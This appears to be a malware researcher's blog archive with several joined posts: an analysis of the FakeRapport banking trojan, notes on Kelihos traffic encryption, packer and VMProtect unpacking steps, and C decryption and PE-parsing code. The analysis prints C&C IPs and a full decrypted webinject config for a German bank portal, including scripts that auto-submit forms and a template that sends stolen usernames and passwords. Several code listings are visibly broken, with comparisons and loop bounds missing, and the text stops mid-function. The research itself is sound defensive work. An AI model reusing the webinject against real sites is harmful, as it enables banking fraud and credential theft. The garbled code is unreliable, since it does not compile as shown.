Virus Description-FakeRapport

General Information:

Sample MD5: f8d1b63aaa456cb6992f3739f3952f97

Malware Classification: backdoor, downloader

Visible Symptoms:

Nothing visually obvious.

Technical Details:

  • drops file to %System32%\[random name]
  • renames %System32%\drivers\RapportKELL.sys to RaportKELL.sys to disable Trusteer
  • renames %Documents and settings%\All Users\Application Data\Trusteer to Trustee
  • renames %Program Files%\Trusteer to Trustee
  • drops a fake RapportService.exe to %Documents and settings%\All Users\Application Data\Trusteer (md5:ac0b07378fce7e41f3f903fcd78e342d )
  • the fake RapportService.exe handles the 3 short-cuts on desktop: “\\Trusteer Rapport\\Rapport Console.lnk”, “\\Trusteer Rapport\\Start Rapport.lnk”, “\\Trusteer Rapport\\Stop Rapport.lnk” with simply no meaning actions.
  • What is Trusteer Rapport?

“Rapport is a lightweight security software solution that protects web communication between enterprises, such as banks, and their customers and employees. “

“Rapport’s unique technology blocks advanced Trojans including Zeus, Silon, Torpig and Yaludle without the need to constantly update and chase the different variants of these Trojans. “

  • Response from the server is decrypted using Advapi32.CryptDecrypt(), with key generated using Advapi32.CryptDeriveKey(). Decrypted sample output: WAIT
  • Here is the list of possible commands:
  1. LOAD: talk to a server and download a file and execute
  2. EXECUTE: drop and execute a file from the data decrypted
  3. URLS: save the urls in a file, encrypted using CryptEncrypt() with the same key used above
  4. KILL: terminates itself/uninstall?
  5. UPGRADE: upgrades itself with the file just decrypted, including updating the registries

 

 

Recently this botnet is very active. I call it a variant of the zbot because it inherited the idea from it.

Here is some detail:

  • It has a thread to keep deleting and re-dropping itself to %SYSTEM%, under random names, and modifies registry to auto start it.
  • Updates very frequently to avoid detection. From late February to mid March 2012, I have seem 4 updates so far.
  • C&C server Ips:
    • 184.95.43.154

    • 216.144.250.25

    • 218.12.4.254

    • 221.194.146.109

    • 209.141.60.202

    • 217.24.246.7 <–same as andromeda

    • 91.197.237.80

    • 124.133.228.122

    • 140.123.103.148

  • depending on the OS version (32bits or 64bits), it injects different codes.
  • Injects the following list of applications:
    1. thebat.exe
    2. msimn.exe
    3. iexplore.exe
    4. explorer.exe
    5. myie.exe
    6. firefox.exe
    7. mozilla.exe
    8. avant.exe
    9. maxthon.exe
    10. OUTLOOK.EXE
    11. ftpte.exe
    12. coreftp.exe
    13. filezilla.exe
    14. TOTALCMD.EXE
    15. cftp.exe
    16. FTPVoyager.exe
    17. SmartFTP.exe
    18. WinSCP.exeAmong these applications, no.1,2 and 10-18 are to be injected with code#1, no.6 and 7 are to be injected with code#3, the rest to be injected with code#2. The codes are crafted to be suitable to the host applications.
    • Code#2 detail:
      • sets HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1609 to 0, reference http://support.microsoft.com/kb/182569zone 3 is Internet zone, 1609 is Miscellaneous: Display mixed content, set to 0 means this action is permitted.
      • Open and MapViewOfFile wininet.dll into the injected process address space
      • Open and MapViewOfFile of a copy of the malware
      • Hooks wininet APIs

  • Traffic encryption/decryption:
    • base64->XXTEA, in which sending and receiving both uses different key
    • configuration file is also using XXTEA but with different key

Encrypted config file is stored as data in registry, so it can be easily loaded by injected process. And here is a piece of the decrypted config file:

INJECTFILE

ITHEADERSCRTIMER=|15000|End
ITHEADERSCRLIMIT=|30|End
ITHEADERSCRMINDELAY=|20000|End

================================ FIDU ================================

ITSCRHOST=|finanzportal.fiducia.de|End
ITSCRONSUCCESS=|1|End
ITSCRPAGE=|/*/portal*token=*|End

[ITBEGINBLOCKHOOK]

ITHOST=|finanzportal.fiducia.de|End
ITPAGE=|/*/portal*token=*&C4I89Op=0004|End
ITMETHOD=|211|End
ITREQRXPREQ=||End
ITREQMATH=||End
ITREQCOUNT=||End
ITSRVDATA=|?name=FIDU&bal=%FIDUBAL%&lim=&disp=&maxbetrag=%FIDUMAXBETR%&maxbetragsepa=%FIDUMAXBETRSEPA%&userhost=finanzportal.fiducia.de&useracc=%FIDURZBK% - %FIDUUSERACC% - %HOLDERNAME%&userpass=%FIDUUSERPASS%&exinf=%FIDUTANTYPE%&html=&trkid=%FIDUDEFNRSELE%&regexp=unv&hldrn=%HOLDERNAME%&vorg=&injv=20120302|End
ITREQSRVERR=|%ITENABLED%=|-1|--%ITSTATUS%=|e|--|End
ITONERR=|99|End
ITIFCONTEXT=|</pre>
<h1>EURO-Überweisung (SEPA)</h1>
<pre>
|End

[ITENDBLOCKHOOK]

ITCMPACCHOST=|finanzportal.fiducia.de|End
ITCMPACCPAGE=|/*/portal*?token=*|End
ITCMPRXPREQ=||End
ITCMPPRM=|1|End
ITCMPACCIF=|*token=*&frontletId=*=Anmelden|End
ITCMPACCPRC=|-1|End
ITCMPREGNAME=|finanzportal.fiducia.de|End
ITCMPACCNAME=|#4=|End
ITCMPPRXPNAME=||End
ITCMPACCREQ=||End
ITCMPSRVERR=||End

ITCMPACCHOST=|finanzportal.fiducia.de|End
ITCMPACCPAGE=|/*/portal*?token=*|End
ITCMPRXPREQ=||End
ITCMPPRM=|1|End
ITCMPACCIF=|*=anmelden&*&token=*&frontletId=*|End
ITCMPACCPRC=|-1|End
ITCMPREGNAME=|finanzportal.fiducia.de|End
ITCMPACCNAME=|#5=|End
ITCMPPRXPNAME=||End
ITCMPACCREQ=||End
ITCMPSRVERR=||End

ITSUCCTRHOST=|finanzportal.fiducia.de|End
ITSUCCTRPAGE=|/*/portal?token=*|End
ITSUCCTRIFREQ=|*token=*&frontletId=*=OK|End
ITSUCCTRPRM=|11|End
ITSUCCTRCNR=|13|End
ITSUCCTRSTR=|%KONTONUMMER%[*]%BANKCODE%[*]</pre>
<ul>
	<li>Ihren Auftrag haben wir entgegengenommen.</li>
</ul>
<pre>

|End
ITSUCCTRFALSE=|/-/-/-/-/-/-/|End
ITSUCCTRTHEN=||End
ITSUCCTRELSE=||End

ITSUCCTRHOST=|finanzportal.fiducia.de|End
ITSUCCTRPAGE=|/*/portal?token=*|End
ITSUCCTRIFREQ=|*=ausfuehren*token=*&frontletId=*|End
ITSUCCTRPRM=|11|End
ITSUCCTRCNR=|13|End
ITSUCCTRSTR=|%KONTONUMMER%[*]%BANKCODE%[*]</pre>
<ul>
	<li>Ihren Auftrag haben wir entgegengenommen.</li>
</ul>
<pre>

|End
ITSUCCTRFALSE=|/-/-/-/-/-/-/|End
ITSUCCTRTHEN=||End
ITSUCCTRELSE=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*token=*&frontletId=*=Anmelden|End
ITINITPRM=|000|End
ITINITIFCN=||End
ITINITNAME=|%FIDUUSERACC%[0000]|End
ITINITSTART=|#4=|End
ITINITEND=||End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*token=*&frontletId=*=Anmelden|End
ITINITPRM=|000|End
ITINITIFCN=||End
ITINITNAME=|%FIDUUSERPASS%[0000]|End
ITINITSTART=|#5=|End
ITINITEND=||End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*=anmelden&*&token=*&frontletId=*|End
ITINITPRM=|000|End
ITINITIFCN=||End
ITINITNAME=|%FIDUUSERACC%[0000]|End
ITINITSTART=|#5=|End
ITINITEND=||End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*=anmelden&*&token=*&frontletId=*|End
ITINITPRM=|000|End
ITINITIFCN=||End
ITINITNAME=|%FIDUUSERPASS%[0000]|End
ITINITSTART=|#6=|End
ITINITEND=||End
ITINITXPRREG=||End

============= Step 1 ============

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*nmelden*|End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDURZBK%[0000]|End
ITINITSTART=|/resource/unit.css?rzbk=|End
ITINITEND=|&|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*nmelden*|End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%HOLDERNAME%[0001]|End
ITINITSTART=|Name: <span id="lblNameValue">|End
ITINITEND=|</span>|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*nmelden*|End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUWEITERFRM%[0000]|End
ITINITSTART=|</pre>
<div>|End
ITINITEND=|" method=|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*nmelden*|End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUWEITERFRM2%[0000]|End
ITINITSTART=|
<div>[*]" method="post">|End
ITINITEND=|
<div>|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*?token=*|End
ITINITRXPREQ=||End
ITINITIFREQ=|*nmelden*|End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUWEITERNM1%[0000]|End
ITINITSTART=|
<div>[*]<input type="text" name="|End
ITINITEND=|" alt="zur TAN-Verwaltung" />ITINITXPRREG=||End

ITINJHOST=|finanzportal.fiducia.de|End
ITINJPAGE=|/*/portal*token=*|End
ITINJRXPREQ=||End
ITINJIFREQ=|*nmelden*|End
ITINJFRM=|100000000|End
ITINJIFFOUND=||End
ITINJSTART=||End
ITINJEND=||End
ITINJRXPREG=||End
ITINJCODE=||End
ITINJPASTE=|

%FIDUWEITERFRM%&C4I89Op=0002" method="post" name="frmsubmit">
%FIDUWEITERFRM2%
<input type="hidden" name="%FIDUWEITERNM1%" value="zur TAN-Verwaltung" />

<script type="text/javascript" language="JavaScript">// <![CDATA[
document.frmsubmit.submit();
// ]]></script>

|End
ITINJPASTEMN=||End

============= Step 2 ============

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0002|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUTANTYPE%[0009]|End
ITINITSTART=|
<h1>TAN-Verwaltung</h1>
|End
ITINITEND=|
<div>|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0002|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUMENUBANKING%[0000]|End
ITINITSTART=|
<div id="primaernavi">[*]<a href="|End
ITINITEND=|">ITINITXPRREG=||End

ITINJHOST=|finanzportal.fiducia.de|End
ITINJPAGE=|/*/portal*token=*&C4I89Op=0002|End
ITINJRXPREQ=||End
ITINJIFREQ=||End
ITINJFRM=|100000000|End
ITINJIFFOUND=||End
ITINJSTART=||End
ITINJEND=||End
ITINJRXPREG=||End
ITINJCODE=||End
ITINJPASTE=|

<script type="text/javascript" language="JavaScript">// <![CDATA[
function openUrl(url)
{
var fakeLink = document.createElement('a');
if (typeof(fakeLink.click) == 'undefined')
{
location.href = url.replace("&","&");
}
else
{
var ua = navigator.userAgent.toLowerCase();
if (ua.indexOf("gecko") != -1) {
location.href = url.replace(new RegExp("&",'g'),"&");
} else
{
fakeLink.href = url.replace(new RegExp("&",'g'),"&");;
document.body.appendChild(fakeLink);
fakeLink.click();
}

}
return true;
}

openUrl('https://finanzportal.fiducia.de%FIDUMENUBANKING%&C4I89Op=0003');
// ]]></script>
|End
ITINJPASTEMN=||End

============= Step 3 ============

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0003|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUFRMREQ%[0000]|End
ITINITSTART=|
</a>
<div id="maincontent">|End
ITINITEND=|" method=|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0003|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUTKFRID%[0000]|End
ITINITSTART=|
<div id="maincontent">[*]" method="post">|End
ITINITEND=|ITINITEND=|"|End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0003|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUNOK%[0000]|End
ITINITSTART=|<input type="text" alt="OK" />ITINITEND=|"|End
ITINITXPRREG=||End

ITINJHOST=|finanzportal.fiducia.de|End
ITINJPAGE=|/*/portal*token=*&C4I89Op=0003|End
ITINJRXPREQ=||End
ITINJIFREQ=||End
ITINJFRM=|100000000|End
ITINJIFFOUND=||End
ITINJSTART=||End
ITINJEND=||End
ITINJRXPREG=||End
ITINJCODE=||End
ITINJPASTE=|

%FIDUFRMREQ%&C4I89Op=0004" name="frmreq" method="post">
%FIDUTKFRID%
<input type="hidden" name="%FIDUSELECT%" value="2" />
<input type="hidden" name="%FIDUNOK%" value="OK" />

<script type="text/javascript" language="JavaScript">// <![CDATA[
document.frmreq.submit();
// ]]></script>

|End
ITINJPASTEMN=||End

============= Step 4 ============

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0004|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUDEFNRSEL%[1000]|End
ITINITSTART=||EndITINITEND=||End
ITINITXPRREG=||End

ITINITHOST=|finanzportal.fiducia.de|End
ITINITPAGE=|/*/portal*token=*&C4I89Op=0004|End
ITINITRXPREQ=||End
ITINITIFREQ=||End
ITINITPRM=|100|End
ITINITIFCN=||End
ITINITNAME=|%FIDUDEFNRSELE%[0007]|End
ITINITSTART=||EndITINITEND=||End
ITINITXPRREG=||End

According to the config file and the malicious code hooked to the wininet APIs, this bot has abilities to identify and inject various targeted financial institute website pages.
It steals users account and password. So that the malware user can use it to log in and transfer money.
To hide from or delay the victims from knowing that the money is stolen, the injection paste fake transaction logs, balance and statements.

 

Kelihos not only uses Cryto++ library, but also uses WinPcap library for its network sniffering features.

Since I am more interested in reverse engineering the traffic encryption part, I will disclose what I found about it:

Traffic encryption routine:

1. Generates junk bytes about size 0×2000 and append it in front of the useful message, and appends(hide) the offset of the useful message at the header of the message.

put it in a simple way, the message before encrypting will be stuctured like this: [a]…[b]…[garbage][useful data], in which the [useful data]‘s offset = [b] – [a]

2. Blowfish encryption with key hardcoded in the file:

 

Here, it uses Crypto++ library as I mentioned in the last post.

It calls Blowfish::Base::UncheckedSetKey(const byte *key_string, unsigned int keylength, const NameValuePairs &) to set the key. Then, for the useful message, for every 64bits, it calls Blowfish::Base::ProcessAndXorBlock(const byte *inBlock, const byte *xorBlock, byte *outBlock) and this variant, I was looking at, also calls void xorbuf(byte *buf, const byte *mask, size_t count) to byte xor the message. Here is the screenshot of the Blowfish::Base::ProcessAndXorBlock assembly:

3. Triple DES encryption

As the same as the blowfish encryption, it calls DES_EDE3::Base::UncheckedSetKey(const byte *userKey, unsigned int length, const NameValuePairs &) to set the key. Then  DES::Base::ProcessAndXorBlock(const byte *inBlock, const byte *xorBlock, byte *outBlock) and void xorbuf(byte *buf, const byte *mask, size_t count) in the encryption loop.

The following is the screenshot showoing where the keys are stored, 3 DES uses 3x64bits keys:

4. Compression using lib: zlib 1.2.5

5. Again, blowfish encryption with another key

 

According to:

websense blog: http://community.websense.com/blogs/securitylabs/archive/2012/02/17/long-life-to-kelihos.aspx?cmpid=sltw

the updated new Kelihos is using a library called Crypto++(http://www.cryptopp.com/) as the encryption tool to encrypt the traffic. I am going to take a look of that.

 

Just encounter a bot using this packer, Mystic Compressor. It is not new, but won’t hurt to make it an analysis.

This time it is used to pack a bot called kelihos.

Decrypt the first layer into the dynamic memory, and call into it:

Register ESI contains the entry to the next layer of decryption. And there were 7 jumps to the same location loc_45F6BF, which is a big hint of this packer.

Inside dynamic memory, it decrypts again and allocated another dynamic memory. Then it jmp to it.

jmp EAX here takes you to another dynamic memory to further decryption.

Now you can see the packer’s name in memory.

 

 

This is a packer some botnet authors really love to use. With some anti-emulator and anti-debug ticks, this can be tough to unpack by the anti-virus engine.

The classic flowchart looks like this:

The decryption routine is highlighted in red. Sometimes it won’t be recognized by IDE, because the address of this sub routine is going to be calculated in the entry sub routine.

Decryption, simple XOR

Then it goes into dynamic memory (2nd layer) to do further decryption.

To unpack, put a breakpoint on VirtualFreeEx…

 

Have seen a lot of this trick, just want to point it out…

  1. call a junk API sets the last error code to 0×57 or 0x7B
  2. get the error code from fs:[0x18]->+0×34, which is actually fs:[34] and compare
  3. if the last error code is not as expected, terminate

Here is the flow chart:

Obfuscated code to check error code:

fs:[0x18]+0×34

 

 

Packer Analysis-VMProtect

General Information:

Sample MD5: 53bc30d3adae3c963e260cf595902046

Technical Details:

  • Here are some identification of this VMProtect packer:

Illustration 1: MZ Header followed by numbers, this characteristic does not belong to VMProtect


Illustration 2: Section names

  • How it works:
    • some important functions are turned into p-code

    • loop to VM dispatcher and to handlers translates the p-codes and executes them

there is one unique handler that will restore the general registers from VM context, people call it VM_Retn, find it and put breakpoint on it, interesting stuff will happen:

Illustration 3: 564d5868 = VMXh, my guess is, next, somewhere, there will be in eax, dx

    • in some version of VMProtect, it may have pre-calculated hash of some blocks and store the values, later on it will use VM_CRC handler to match the CRC prevent hooking/patching

  • Obfuscation:
    • The NAND operation:

.vmp1:00468A54 8B 45 00 mov eax, [ebp+0]

.vmp1:00468A57 8B 55 04 mov edx, [ebp+4]

.vmp1:00468A5A F7 D0 not eax

.vmp1:00468A5C F7 D2 not edx

.vmp1:00468A5E 21 D0 and eax, edx

.vmp1:00468A60 89 45 04 mov [ebp+4], eax

.vmp1:00468A63 9C pushf

.vmp1:00468A64 8F 45 00 pop dword ptr [ebp+0]

What is so special of NAND gate? It can produce the other basic logical operation: not, and, or and xor:

Let P(a,b) = ~a & ~b we have:

not(a) = ~a = ~a & ~a = P(a,a)
and(a,b) = a & b = ~(~a) & ~(~b) = P(not(a),not(b)) = P(P(a,a),P(b,b))
or(a,b) = a | b = ~(~(a|b)) = ~(~a & ~b) = ~P(a,b) = P(P(a,b),P(a,b))
xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((a | ~b) & (~a | b)) = ~(1 | 1 | a & b | ~a & ~b) = ~(a & b) & ~(~a & ~b) = P(and(a,b),P(a,b)) = P(P(P(a,a),P(b,b)),P(a,b))

    • directly push/pop into stacks:

Illustration 4: Restore(pop) the value from stack to general purpose registers(and btw, this is the VM_Retn, to find this in IDA with findOPMask plugin, ctrl+s search 8b 00:00 24)

  • to unpack (for this kind of sample only):

Before that, in OllyDBG, PhantOm Plugin Enable → Protect Drx

StrongOD Plugin Enable → HidePEB | KernelMode| Normal

Look for the OEP:

    • Ctrl+G|VirtualProctect|F2 on VirtualProctectEx
    • F6 until you see Address = .text twice, and the NewProtect= mode probaly will be something like PAGE_EXECUTE_READ, which means .text section is read to execute now
    • F2(or right-click| set memory break on access) on ALT-M window at .text, and remove the other breakpoints
    • F6 | you will land at OEP or somewhere near it or for the professional VMProtect, inside VM_CRC handler, in which the VM is going to check the integrity of this PE file and then go to OEP.(usually, on the line: XOR AL, Byte Ptr DS:[edx]) In that case, make use of the stack balance theory, put write breakpoint on one stack address just before RETURN to kernel32.xxxxxx from the bottom.


Illustration 5: OEP

 

The name is self-explaining, one is Base64 the other is RC4:

//--------------------------------------
// Decrypt base64 encoded array
// arg1: uint8_t array of encoded code, arg2: size of encoded code, arg3: uint8_t array of decoded code
// return: size of decoded data
// Author:Neo Tan
// Comment:
//--------------------------------------
uint32_t base64_decryption(uint8_t *enCode, uint32_t size, uint8_t *deCode)
{
 // read data, 6 bits per input byte
 uint32_t data = 0;
 uint32_t bits = 0;
 uint32_t out = 0;
 uint32_t adr = 0;
 uint8_t b;
 //int32_t siz = sizeof(enCode); this gets the size of the pointer which is 4 bytes
 uint32_t siz = size;
 #ifdef DEBUG
 debug("!!!!!!!!!!!!!!!!!!!\nsiz=%d\n", siz);
 #endif
 while (siz > 0)
 {
 b = enCode[adr]; adr++; siz--;
 #ifdef DEBUG
 debug("b=%X|siz=%d\n",b, siz);
 #endif
 if ((b >= 'A') && (b {
 #ifdef DEBUG
 debug("(data << 6) = %X | %X - 'A' = %X", (data << 6),b, (b - 'A'));
 #endif
 data = (data << 6) | (b - 'A'); bits += 6; #ifdef DEBUG debug("data = %X\n bits = %d", data, bits); #endif } else if ((b >= 'a') && (b {
 data = (data << 6) | (b - 'a' + 26); bits += 6; } else if ((b >= '0') && (b {
 data = (data << 6) | (b - '0' + 52); bits += 6;
 }
 else if ((b == '+') || (b == '-'))
 {
 data = (data << 6) | 62; bits += 6;
 }
 else if ((b == '/') || (b == '_'))
 {
 data = (data << 6) | 63; bits += 6; } else if (b > ' ')
 {
 siz = 0;
 break;
 }
 // write data
 if (bits >= 8)
 {
 bits -= 8;
 deCode[out] = data >> bits; out++;
 }
 }
 return out;
}

 

//--------------------------------------
// Decrypt RC4 encoded array
// arg1: uint8_t array of encoded code and will hold decoded code, arg2: size of encoded code, arg3: uint8_t array of key, arg4: size of key
// return: size of decoded data
// Author:Neo Tan
// Comment:
//--------------------------------------
uint32_t rc4_decryption(uint8_t *enCode, uint32_t size, uint8_t *key, uint32_t keySize)
{
	int i = 0, j = 0, a = 0, b = 0, out = 0;
	uint8_t skey[256];
	uint8_t temp, theKey;

	for (i = 0; i 	{
		skey[i] = i;
	}

	for (i =0; i 	{
		j = (j + skey[i] + key[(i)%keySize])%256;
		#ifdef DEBUG
		debug("%X,%d   ",key[(i)%keySize], (i)%keySize);
		#endif
		temp = skey[j];
		skey[j] = skey[i];
		skey[i] = temp;
	}
	#ifdef DEBUG
	for (i =0; i 	{
		debug("skey[%x] %X,   ", i, skey[i]);
	}
	#endif
	b = j;//this is a custom RC4
	#ifdef DEBUG
	debug("b = %X", b);
	#endif
	while(out < size)
	{
		#ifdef DEBUG
		debug("out = %d", out);
		#endif
		a = (a+1)%256;//watch out some may be customed here eg (a+3)
		b = (b+skey[a])%256;

		//swap
		#ifdef DEBUG
		debug("skey[a] = %X, skey[a] = %X\n\n", skey[a], skey[b]);
		#endif
		temp = skey[a];
		skey[a] = skey[b];
		skey[b] = temp;
		theKey = skey[(skey[a]+skey[b])%256];

		//output file
		#ifdef DEBUG
		debug("skey[%X] = %X, enCode[out]=%X\n\n ", (skey[a]+skey[b])%256, theKey,enCode[out] );
		#endif
		enCode[out] = enCode[out]^theKey; out++;
	}
	#ifdef DEBUG
	for (int i = 0; i < out; i++)
	{
		debug("+++++++++++%X",enCode[i]);
	}
	#endif
	return out;
}
Dec 132011
 

Recently I revisited the fundamental structure. This is the C/C++ compatible code, header codes are borrowed from winnt.h:
pe_struct.h:

typedef unsigned __int8 BYTE;
typedef unsigned __int16 WORD;
typedef unsigned __int32 DWORD;
typedef long LONG;

#define IMAGE_DOS_SIGNATURE 0x5A4D
#define IMAGE_OS2_SIGNATURE 0x454E
#define IMAGE_OS2_SIGNATURE_LE 0x454C
#define IMAGE_VXD_SIGNATURE 0x454C
#define IMAGE_NT_SIGNATURE 0x00004550
#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b
#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
#define IMAGE_SIZEOF_SHORT_NAME 8

#define CHARARRAYMAXSIZE 256

typedef struct _IMAGE_TLS_DIRECTORY {
DWORD StartAddressOfRawData;
DWORD EndAddressOfRawData;
DWORD AddressOfIndex;
DWORD AddressOfCallBacks;
DWORD SizeOfZeroFill;
DWORD Characteristics;
} IMAGE_TLS_DIRECTORY,*PIMAGE_TLS_DIRECTORY;

// typedef struct _IMAGE_THUNK_DATA {
// union {
// ULONG ForwarderString;
// ULONG Function;
// DWORD Ordinal;
// ULONG AddressOfData;
// } u1;
// } IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD OriginalFirstThunk;//Import Lookup(Name) Table RVA
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;//DLL name RVA
DWORD FirstThunk;//Import Address Table RVA
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;//DLL name RVA
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;//Export Name Table RVA
DWORD AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY;

typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER;

typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

typedef struct _IMAGE_OPTIONAL_HEADER32 {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

typedef struct _IMAGE_NT_HEADERS32 {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32,*PIMAGE_NT_HEADERS32;

typedef struct _IMAGE_DOS_HEADER {
WORD e_magic;
WORD e_cblp;
WORD e_cp;
WORD e_crlc;
WORD e_cparhdr;
WORD e_minalloc;
WORD e_maxalloc;
WORD e_ss;
WORD e_sp;
WORD e_csum;
WORD e_ip;
WORD e_cs;
WORD e_lfarlc;
WORD e_ovno;
WORD e_res[4];
WORD e_oemid;
WORD e_oeminfo;
WORD e_res2[10];
LONG e_lfanew;
} IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;

typedef struct _PE_LAYOUT {
IMAGE_DOS_HEADER *pDosHeader;
IMAGE_NT_HEADERS32 *pPEHeader;//these 2 above = MS COFF Header
IMAGE_SECTION_HEADER *pSecHeader;//Section Header
IMAGE_EXPORT_DIRECTORY *pExportDir;//Export Table
IMAGE_IMPORT_DESCRIPTOR *pImportDir;//Import Table
IMAGE_TLS_DIRECTORY *pTLSDir;//TLS Table
} PE_LAYOUT,*PPE_LAYOUT;

The parser:

#include "pe_struct.h"

//--------------------------------------
// Helper function to get byte and increment the offset by sizeof byte
// Author:Neo Tan
// Comment:
//--------------------------------------
DWORD getbyte(DWORD *offset)
{
	BYTE res = get_byte(*offset);
	*offset += sizeof(BYTE);
	return res;
}

//--------------------------------------
// Helper function to get word and increment the offset by sizeof WORD
// Author:Neo Tan
// Comment:
//--------------------------------------
WORD getword(DWORD *offset)
{
	WORD res = get_word(*offset);
	*offset += sizeof(WORD);
	return res;
}

//--------------------------------------
// Helper function to get dword and increment the offset by sizeof DWORD
// Author:Neo Tan
// Comment:
//--------------------------------------
DWORD getdword(DWORD *offset)
{
	DWORD res = (DWORD)get_dword(*offset);
	*offset += sizeof(DWORD);
	return res;
}

//--------------------------------------
// Helper function to get bytes until hits 0x0, max size 256
// Author:Neo Tan
// Comment:
//--------------------------------------
char *getstring(DWORD *offset)
{
	// #ifdef DEBUG
